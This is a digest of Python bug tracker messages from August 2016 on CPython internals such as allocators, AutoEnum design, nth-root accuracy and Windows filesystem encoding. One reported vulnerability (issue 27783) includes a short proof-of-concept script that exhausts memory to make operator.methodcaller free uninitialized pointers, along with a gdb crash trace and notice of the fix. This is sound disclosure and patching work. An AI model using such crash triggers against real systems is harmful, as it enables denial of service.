"aniawsz". I actually want to assign it to her but for some reason I can't. (Maybe because she doesn't have the commit bit?) ---------- assignee: -> larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 20:31:05 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 00:31:05 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> Message-ID: <1471393865.33.0.125022250719.issue24648@psf.upfronthosting.co.za> STINNER Victor added the comment: In Python 3.6, PyMem_Malloc() is now an alias to PyObject_Malloc(), both functions use the pymalloc allocator: see the issue #26249. This issue can now be closed. -- Note: I created the issue #26249 when I saw the good results of the issue #23601. In fact, I had the idea when I wrote tracemalloc, but I chose to defer the idea because some people expected regressions. PYTHONMALLOC=debug should now help to find and debug issues: https://docs.python.org/dev/whatsnew/3.6.html#pythonmalloc-environment-variable ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 20:34:56 2016 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 17 Aug 2016 00:34:56 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> Message-ID: <1471394096.79.0.407417506045.issue24648@psf.upfronthosting.co.za> Emanuel Barry added the comment: One needs to have the "Developer" role (i.e. can triage issues) to be assigned :) ---------- nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 20:37:25 2016 From: report at bugs.python.org (wevsty) Date: Wed, 17 Aug 2016 00:37:25 +0000 Subject: [issue27749] python 3.5.2 maybe crash in windows In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471394245.98.0.0644671537173.issue27749@psf.upfronthosting.co.za> Changes by wevsty : ---------- title: python 3.5.2 maybe crash -> python 3.5.2 maybe crash in windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 21:36:15 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 17 Aug 2016 01:36:15 +0000 Subject: [issue6143] IDLE - an extension to clear the shell window In-Reply-To: <1243631391.82.0.146122427664.issue6143@psf.upfronthosting.co.za> Message-ID: <1471397775.22.0.922646410732.issue6143@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- nosy: -martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 23:03:16 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 17 Aug 2016 03:03:16 +0000 Subject: [issue27395] Patch to Increase test coverage of unittest.runner.TextTestResult In-Reply-To: <1466991131.29.0.133038879004.issue27395@psf.upfronthosting.co.za> Message-ID: <1471402996.33.0.72276911986.issue27395@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: -> patch review type: -> enhancement versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 23:03:55 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 03:03:55 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471403035.62.0.738183843923.issue16764@psf.upfronthosting.co.za> Xiang Zhang added the comment: Serhiy, the message added in Misc/NEWS should be in Library section not Core and Builtins section. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 23:18:15 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 17 Aug 2016 03:18:15 +0000 Subject: [issue27779] Sync-up docstrings in C version of the the decimal module In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za> Message-ID: <1471403895.73.0.474233753237.issue27779@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Historically, we've kept the docstrings 100% intact between the C and Python versions, even if they are big (see heapq.__doc__) for example. If there are differences in the "hand written" versions. I would like to have them compared on a case by case basis and resolved. Unless the C version implements something different, there should be no reason for a docstring difference. The originals are very close to the specification and to the documentation. We tried to stay true in part because there are so many niggling details that it would be hard to know without reading the spec. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 23:49:41 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 17 Aug 2016 03:49:41 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 Message-ID: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> New submission from Steve Dower: I've attached my first pass at a patch to change the file system encoding on Windows to UTF-8 and remove use of the *A APIs. It would be trivial to change the encoding from UTF-8 back to CP_ACP and change the error mode if that's what we decide is better, but my vote is strongly for an encoding that never drops characters when converted from UTF-16. Discussion is still ongoing on python-ideas, so let's argue about yes/no and utf-8/mbcs there and just discuss the patch here. ---------- assignee: steve.dower components: Windows files: fsencoding.diff keywords: patch messages: 272899 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: patch review status: open title: Change sys.getfilesystemencoding() on Windows to UTF-8 type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file44130/fsencoding.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 00:48:10 2016 From: report at bugs.python.org (Decorater) Date: Wed, 17 Aug 2016 04:48:10 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471409290.27.0.414899447531.issue27781@psf.upfronthosting.co.za> Decorater added the comment: I personally hate ansi myself so +1 to UTF-8/UTF-16. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 00:52:02 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 17 Aug 2016 04:52:02 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471409522.47.0.443214916915.issue26988@psf.upfronthosting.co.za> Raymond Hettinger added the comment: The use of a bare identifier as a self-assigning statement is unprecedented in the world of Python. PyFlakes flags it as an error (because prior to now, a bare identifier in a class statement was almost always an error). I suspect this will cause issues with other static analysis and refactoring tools as well: --- tmp_enum_example.py ----- from enum import AutoEnum class Color(AutoEnum): red green = 5 blue print(list(Color)) --- bash session ------------ $ py -m pyflakes tmp_enum_example.py tmp_enum_example.py:4: undefined name 'red' tmp_enum_example.py:6: undefined name 'blue' tmp_enum_example.py:11: undefined name 'yellow' Also, the usual technique of commenting out blocks with triple quotes introduces unexpected breakage: --- tmp_enum_example2.py ----- from enum import AutoEnum class Color(AutoEnum): red green = 5 blue ''' XXX temporarily comment these out brown orange ''' yellow print(list(Color)) --- bash session ------------ $ py -m tmp_enum_example.py [, , , ] /Users/raymond/cpython/python.exe: Error while finding spec for 'tmp_enum_example.py' (AttributeError: module 'tmp_enum_example' has no attribute '__path__') I worry that this proposal is worse than just being non-idiomatic Python. In a way, it undermines pillars of the language and conflict everyone's mental model of how the language works. Historically, a bare variable name raised a NameError if undefined and would otherwise act as a expression who's result was discarded. However, as used here, it fiats an attribute into existence and assigns it a value. That to my eyes looks like a new language that isn't Python. This is really weird and undermines my expectations. The need for the "ignore" parameter for the "shielded set" is a hint that the patch is working against the grain of the language and is not in harmony with Python as a coherent whole. It is a harbinger of problems to come. Lastly, I question whether there is any real problem being solved. You already have "Color = IntEnum('Animal', 'red green blue')" that works well enough, doesn't mess with language norms, that works nicely with triple quotes for multiline entries, and that extends easily to hundreds of constants. It seems to me that too much magic and unidiomatic weirdness are being leveled at too small of a problem. Plus we already have one way to do it. In teaching people to make effective use of the language, a key learning point is learning the portents of trouble to come and recognizing that that not everything that can be made to work should actually be done. Please reconsider whether you really want to open this Pandora's box. Right now, it's not too late. No doubt that you will find some people who like this (it reminds them of C), but you will also find some very experienced developers who are made queasy by the bare identifier transforming from an expression into an assigning statement. This more than an "if you don't like it, don't use it" decision, I think an important and invisible line is being crossed that we will regret. P.S. A lesson I learned from maintaining the itertools module is that adding more variants of a single idea tends to make the overall toolkit harder to learn and impairs usability. Users suffer when given too many choices for closely related tasks. The "one way to do it" line in the Zen of Python is there for a reason. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 01:17:28 2016 From: report at bugs.python.org (Tim Peters) Date: Wed, 17 Aug 2016 05:17:28 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471411048.91.0.920263162646.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Noting that `floor_nroot` can be sped a lot by giving it a better starting guess. In the context of `nroot`, the latter _could_ pass `int(x**(1/n))` as an excellent starting guess. In the absence of any help, this version figures that out on its own; an optional `a=None` argument (to supply a starting guess, if desired) would make sense. def floor_nroot(x, n): """For positive integers x, n, return the floor of the nth root of x.""" bl = x.bit_length() if bl <= 1000: a = int(float(x) ** (1.0/n)) else: xhi = x >> (bl - 53) # x ~= xhi * 2**(bl-53) # x**(1/n) ~= xhi**(1/n) * 2**((bl-53)/n) # Let(bl-53)/n = w+f where w is the integer part. # 2**(w+f) is then 2**w * 2**f, where 2**w is a shift. a = xhi ** (1.0 / n) t = (bl - 53) / n w = int(t) a *= 2.0 ** (t - w) m, e = frexp(a) a = int(m * 2**53) e += w - 53 if e >= 0: a <<= e else: a >>= -e # A guess of 1 can be horribly slow, since then the next # guess is approximately x/n. So force the first guess to # be at least 2. If that's too large, fine, it will be # cut down to 1 right away. a = max(a, 2) a = ((n-1)*a + x // a**(n-1)) // n while True: d = x // a**(n-1) if a <= d: return a a = ((n-1) * a + d) // n I haven't yet found a case in the context of `nroot` where it doesn't get out on the first `if a <= d:` test. Of course you can provoke as many iterations as you like by passing `x` with a lot more than 53 "significant" bits (the large `x` passed by `nroot` are mostly long strings of trailing 0 bits). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 02:04:37 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 06:04:37 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP Message-ID: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> New submission from Xiang Zhang: >From doc [1], when create_module returns a non-module instance, m_methods, m_traverse, m_clear, m_free must be NULL. But actually in the codes, only m_traverse, m_clear, m_free are checked and emitting consistent errors. If m_methods is NULL, it will fail in [2] and emit an inconsistent misleading argument error. And what's more confusing is, in [3], it says "regardless of type, the module's functions are initialized from m_methods, if any", which I think conflicts with the codes and doc. [1] https://docs.python.org/3.6/c-api/module.html#c.Py_mod_create [2] https://hg.python.org/cpython/file/tip/Objects/moduleobject.c#l300 [3] https://www.python.org/dev/peps/pep-0489/#post-creation-steps ---------- components: Interpreter Core messages: 272903 nosy: encukou, ncoghlan, xiang.zhang priority: normal severity: normal status: open title: Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 02:32:24 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Wed, 17 Aug 2016 06:32:24 +0000 Subject: [issue27783] potential use of unitialized memory in operator.methodcaller Message-ID: <1471415544.41.0.8047190552.issue27783@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Thomas E Hybel reports: This vulnerability exists in /Modules/_operator.c in the function methodcaller_new. Here is the problematic code: mc = PyObject_GC_New(methodcallerobject, &methodcaller_type); if (mc == NULL) return NULL; newargs = PyTuple_GetSlice(args, 1, PyTuple_GET_SIZE(args)); if (newargs == NULL) { Py_DECREF(mc); return NULL; } We first allocate an "mc" object. Then we call PyTuple_GetSlice. If that fails, e.g. because we're out of memory, then we call Py_DECREF(mc). But mc's variables have not been initialized yet. methodcaller_dealloc will therefore free several arbitrary pointers. This could be fixed by setting mc's member variables to NULL right after allocating it. Proof-of-concept script: --- begin script --- import operator args = ("AAAA",)*0x10000000 ag = operator.methodcaller(*args) --- end script --- (Note that this PoC only works if the machine runs out of memory at the right time; you may have to experiment with the size of "args." This was tested on a 32-bit box, therefore it had a small address space.) Here's the crash and backtrace: (gdb) r ../poc10.py Starting program: /home/ubuntu32/python3/Python-3.5.2/python ../poc10.py Program received signal SIGSEGV, Segmentation fault. 0x081d4255 in methodcaller_dealloc (mc=mc at entry=0xb7c31b94) at ./Modules/_operator.c:976 976 Py_XDECREF(mc->name); (gdb) p mc->name $3 = (PyObject *) 0xcbcbcbcb (gdb) bt #0 0x081d4255 in methodcaller_dealloc (mc=mc at entry=0xb7c31b94) at ./Modules/_operator.c:976 #1 0x080e4bff in _Py_Dealloc (op=op at entry=0xb7c31b94) at Objects/object.c:1786 #2 0x081d361a in methodcaller_new (type=0x82f0200 , args=0x37c2d024, kwds=0x0) at ./Modules/_operator.c:956 ... ---------- components: Library (Lib) messages: 272904 nosy: benjamin.peterson priority: normal severity: normal status: open title: potential use of unitialized memory in operator.methodcaller type: crash versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 02:38:01 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 17 Aug 2016 06:38:01 +0000 Subject: [issue27783] potential use of unitialized memory in operator.methodcaller In-Reply-To: <1471415544.41.0.8047190552.issue27783@psf.upfronthosting.co.za> Message-ID: <20160817063756.16227.60868.E908F041@psf.io> Roundup Robot added the comment: New changeset 11a9bca71528 by Benjamin Peterson in branch '2.7': rearrange methodcaller_new so that the main error case does not cause uninitialized memory usage (closes #27783) https://hg.python.org/cpython/rev/11a9bca71528 New changeset 8e3b9bf917a7 by Benjamin Peterson in branch '3.3': rearrange methodcaller_new so that the main error case does not cause uninitialized memory usage (closes #27783) https://hg.python.org/cpython/rev/8e3b9bf917a7 New changeset 675e20c38fda by Benjamin Peterson in branch '3.4': merge 3.3 (#27783) https://hg.python.org/cpython/rev/675e20c38fda New changeset d1b93ce7dad8 by Benjamin Peterson in branch '3.5': merge 3.4 (#27783) https://hg.python.org/cpython/rev/d1b93ce7dad8 New changeset 0f0a040d45b2 by Benjamin Peterson in branch 'default': merge 3.5 (#27783) https://hg.python.org/cpython/rev/0f0a040d45b2 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 02:52:38 2016 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 17 Aug 2016 06:52:38 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471416758.65.0.873994620411.issue27782@psf.upfronthosting.co.za> Nick Coghlan added the comment: I think the intended behaviour here is that which was documented in the PEP: that m_methods should still work based on ducktyping for reading a __name__ attribute and setting the method attributes, even if the result of Py_create_mod isn't a module type object. However, it isn't currently working due to the PyModule_Check call in PyModule_GetNameObject, which is in turn called from PyModule_AddFunctions. The Py_mod_create docs then reflect that limitation of the implementation. The cleanest way to refactor and fix this that comes to mind would be to make static _get_object_name() and _add_methods_to_object() functions in moduleobject.c (which omit any strict type checks), and then call those from PyModule_GetNameObject and PyModule_AddFunctions with the explicit typecheck. That way we don't have to support this for arbitrary third party code calling in to the C API, while still allowing it for the specific case of objects returned from Py_mod_create. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 03:11:00 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 07:11:00 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471417860.45.0.707932965567.issue27782@psf.upfronthosting.co.za> Xiang Zhang added the comment: > The cleanest way to refactor and fix this that comes to mind would be to make static _get_object_name() and _add_methods_to_object() functions in moduleobject.c (which omit any strict type checks), and then call those from PyModule_GetNameObject and PyModule_AddFunctions with the explicit typecheck. That's one solution. How about loosing PyModule_GetNameObject's constraint? Let it accept non-ModuleType objects? Actually without the constraint of PyModule_GetNameObject, PyModule_AddFunctions can handle non-ModuleType objects. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 03:26:17 2016 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 17 Aug 2016 07:26:17 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471418777.79.0.00941131594929.issue27782@psf.upfronthosting.co.za> Nick Coghlan added the comment: Loosening the constraint on PyModule_GetNameObject would indeed work, but it means the code still has a readability problem: the convention in the C API is that officially ducktyped APIs use the PyObject_* prefix, or one of the other abstract protocols (PyNumber_*, PyMapping_*, etc), rather than a concrete type name like PyModule_*. Relying on folks to "just know" that these particular APIs deliberately don't enforce the type constraint is a recipe for future confusion, even if it's documented that way. Such a change also has potential ripple effects on other implementations that emulate the C API, and hence isn't something I'd be comfortable with changing in a maintenance release, whereas fixing the implementation to match the PEP could be done for the next 3.5.x update. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 03:38:34 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 17 Aug 2016 07:38:34 +0000 Subject: [issue27782] Multi-phase extension module initialization, inconsistent exceptions and conflicts between code and PEP In-Reply-To: <1471413877.95.0.607516843714.issue27782@psf.upfronthosting.co.za> Message-ID: <1471419514.66.0.496198646108.issue27782@psf.upfronthosting.co.za> Xiang Zhang added the comment: Nice point. I'll write a patch to fix this these days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:23:42 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:23:42 +0000 Subject: [issue27784] Random failure of test_TCPServer() of test.test_socketserver.SocketServerTest and test_handle_accept() of test.test_asyncore.TestAPI_UseIPv6Select on FreeBSD buildbots Message-ID: <1471422222.08.0.731040607027.issue27784@psf.upfronthosting.co.za> New submission from STINNER Victor: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.x/builds/4760/steps/test/logs/stdio test_handle_accept (test.test_asyncore.TestAPI_UseIPv6Select) ... ERROR ====================================================================== ERROR: test_handle_accept (test.test_asyncore.TestAPI_UseIPv6Select) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_asyncore.py", line 500, in tearDown asyncore.close_all() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncore.py", line 561, in close_all x.close() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncore.py", line 397, in close self.socket.close() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socket.py", line 407, in close self._real_close() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socket.py", line 401, in _real_close _ss.close(self) ConnectionResetError: [Errno 54] Connection reset by peer ---------------------------------------------------------------------- 0:15:27 [319/402/4] test_socketserver failed -- running: test_tokenize (190 sec), test_datetime (279 sec), test_tools (194 sec) (...) test_TCPServer (test.test_socketserver.SocketServerTest) ... creating server ADDR = ('127.0.0.1', 42875) CLASS = server running test client 0 test client 1 Exception in thread serving: Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/threading.py", line 916, in _bootstrap_inner self.run() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/threading.py", line 864, in run self._target(*self._args, **self._kwargs) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 238, in serve_forever self._handle_request_noblock() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 319, in _handle_request_noblock self.handle_error(request, client_address) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 317, in _handle_request_noblock self.process_request(request, client_address) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 349, in process_request self.shutdown_request(request) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 510, in shutdown_request self.close_request(request) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socketserver.py", line 514, in close_request request.close() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socket.py", line 407, in close self._real_close() File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/socket.py", line 401, in _real_close _ss.close(self) ConnectionResetError: [Errno 54] Connection reset by peer ERROR /usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/case.py:628: ResourceWarning: unclosed outcome.errors.clear() /usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/unittest/case.py:628: ResourceWarning: unclosed outcome.errors.clear() (...) ====================================================================== ERROR: test_TCPServer (test.test_socketserver.SocketServerTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_socketserver.py", line 175, in test_TCPServer self.stream_examine) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/support/__init__.py", line 1956, in decorator return func(*args) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_socketserver.py", line 141, in run_server testfunc(svrcls.address_family, addr) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_socketserver.py", line 153, in stream_examine buf = data = receive(s, 100) File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_socketserver.py", line 46, in receive raise RuntimeError("timed out on %r" % (sock,)) RuntimeError: timed out on ---------------------------------------------------------------------- Ran 25 tests in 25.825s ---------- messages: 272910 nosy: haypo priority: normal severity: normal status: open title: Random failure of test_TCPServer() of test.test_socketserver.SocketServerTest and test_handle_accept() of test.test_asyncore.TestAPI_UseIPv6Select on FreeBSD buildbots _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:23:46 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:23:46 +0000 Subject: [issue27784] Random failure of test_TCPServer() of test.test_socketserver.SocketServerTest and test_handle_accept() of test.test_asyncore.TestAPI_UseIPv6Select on FreeBSD buildbots In-Reply-To: <1471422222.08.0.731040607027.issue27784@psf.upfronthosting.co.za> Message-ID: <1471422226.76.0.501547551044.issue27784@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +koobs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:24:40 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:24:40 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471422280.86.0.331705407092.issue27761@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:31:24 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:31:24 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471422684.88.0.387252564541.issue27761@psf.upfronthosting.co.za> STINNER Victor added the comment: "Just for fun, here's a recipe for a correctly-rounded nth root operation for positive finite floats. I'm not suggesting using this in the business logic: it's likely way too slow (especially for large n), but it may have a use in the tests." I don't know well the statistics module, but it looks like it doesn't use directly floats, more a somehow higher level type of numbers to try to reduce rounding errors. For me, the math module is a thin wrapper on C library math functions, except of a few functions specific to Python like math.factorial. But the statistics module is at a higher level. Maybe we should draw a line between accuracy and speed. For example, explain in the statistics module that the module is designed for accuracy? Sorry if I completly misunderstood the design of the statistics module :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:39:01 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:39:01 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471423141.48.0.379183527573.issue27761@psf.upfronthosting.co.za> STINNER Victor added the comment: About tradeoff, would it be possible to add an option to choose the quality of the accuracy? For example, a flag to choose between "fast nth root" or "accurate nth root". Python already has two kind of numbers: Decimal and float. Maybe the "flag" should be the type of input numbers, Decimal or float? I'm asking because I looked at http://lipforge.ens-lyon.fr/www/crlibm/ a few years ago, and such library is designed for accuracy, not for speed. crlibm is based on the scslib library which compose a number using multiple float numbers to get a better precision. To get correct rounding, crlibm requires more loop iterations and more floating point number operations, so as expected, it is slower. FYI my old blog article (in french!): http://www.haypocalc.com/blog/index.php/2009/02/20/188-bibliotheque-mathematique-arrondi-exact-crlibm ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:41:31 2016 From: report at bugs.python.org (koobs) Date: Wed, 17 Aug 2016 08:41:31 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471423291.25.0.913995988775.issue27181@psf.upfronthosting.co.za> koobs added the comment: For posterity, the following failure was observed on all (9/10/11(current) FreeBSD buildbots: ====================================================================== FAIL: testFraction (test.test_statistics.Test_Nth_Root) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/test_statistics.py", line 1247, in testFraction self.assertEqual(self.nroot(x**12, 12), float(x)) AssertionError: 1.1866666666666665 != 1.1866666666666668 ---------- nosy: +koobs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:56:42 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 08:56:42 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471424202.01.0.281682881857.issue27761@psf.upfronthosting.co.za> STINNER Victor added the comment: Just to share my little experience with rounding numbers. Last years, I worked on a API to convert timestamps between float and integers, the private "PyTime C API": https://haypo.github.io/pytime.html At the beginning, I used various floatting point numbers which looks fine in decimal. But quickly, I got rounding issues on various buildbots. After many years fighting against compilers and trying to write a complete test suite, I decided to only use numbers which can be stored exactly in IEEE 754: if use_float: # numbers with an exact representation in IEEE 754 (base 2) for pow2 in (3, 7, 10, 15): ns = 2.0 ** (-pow2) ns_timestamps.extend((-ns, ns)) If you are curious, look at CPyTimeTestCase, TestCPyTime and TestOldPyTime classes in Lib/test/test_time.py. At the end, I decided to reimplement each conversion function in pure Python using decimal.Decimal and compare the result with the C implementation. It makes the unit tests shorter and simpler. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 04:58:46 2016 From: report at bugs.python.org (Jeremy Kloth) Date: Wed, 17 Aug 2016 08:58:46 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471424326.35.0.928449452456.issue27781@psf.upfronthosting.co.za> Changes by Jeremy Kloth : ---------- nosy: +jkloth _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 05:08:41 2016 From: report at bugs.python.org (squish_user) Date: Wed, 17 Aug 2016 09:08:41 +0000 Subject: [issue27785] Module platform: Versions of Windows Message-ID: <1471424921.88.0.870177840736.issue27785@psf.upfronthosting.co.za> New submission from squish_user: I use the module 'platform' to get information on the system my script is executed. I have 4 different operating systems in use: Windows 7, Windows 8, Windows 8.1 and Windows 10. By using the module platform version 1.0.3 I get the following results by platform.version().startswith: Windows 7: 6.1 Windows 8: 6.2 Windows 8.1: 6.3 Windows 10: 10.0 I upgraded the module platform to version 1.0.7 (delivered with the squish-version squish-6.0.3-qt56x-win32-msvc12) Now I get the following results: platform.version() Windows 7: 6.1.7601 Windows 8: 6.2.9200 Windows 8.1: 6.2.9200 Windows 10: 6.2.9200 So there is no longer a difference between Windows 8 and Windows 10. ---------- components: Library (Lib) messages: 272915 nosy: lemburg, squish_user priority: normal severity: normal status: open title: Module platform: Versions of Windows type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 06:32:19 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 10:32:19 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: <1471429939.4.0.418436694054.issue27781@psf.upfronthosting.co.za> STINNER Victor added the comment: Would it be acceptable for you to add a new option to switch to UTF-8 in Python 3.6, and discuss later if it's ok to enable it by default? In the python-ideas threed, you wrote that Windows allow surrogate characters in filenames, but not the UTF-8/strict Python codec. Would it make sense to use UTF-8/surrogatepass codec to avoid any unicode error? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 17 06:52:39 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 17 Aug 2016 10:52:39 +0000 Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8 In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za> Message-ID: 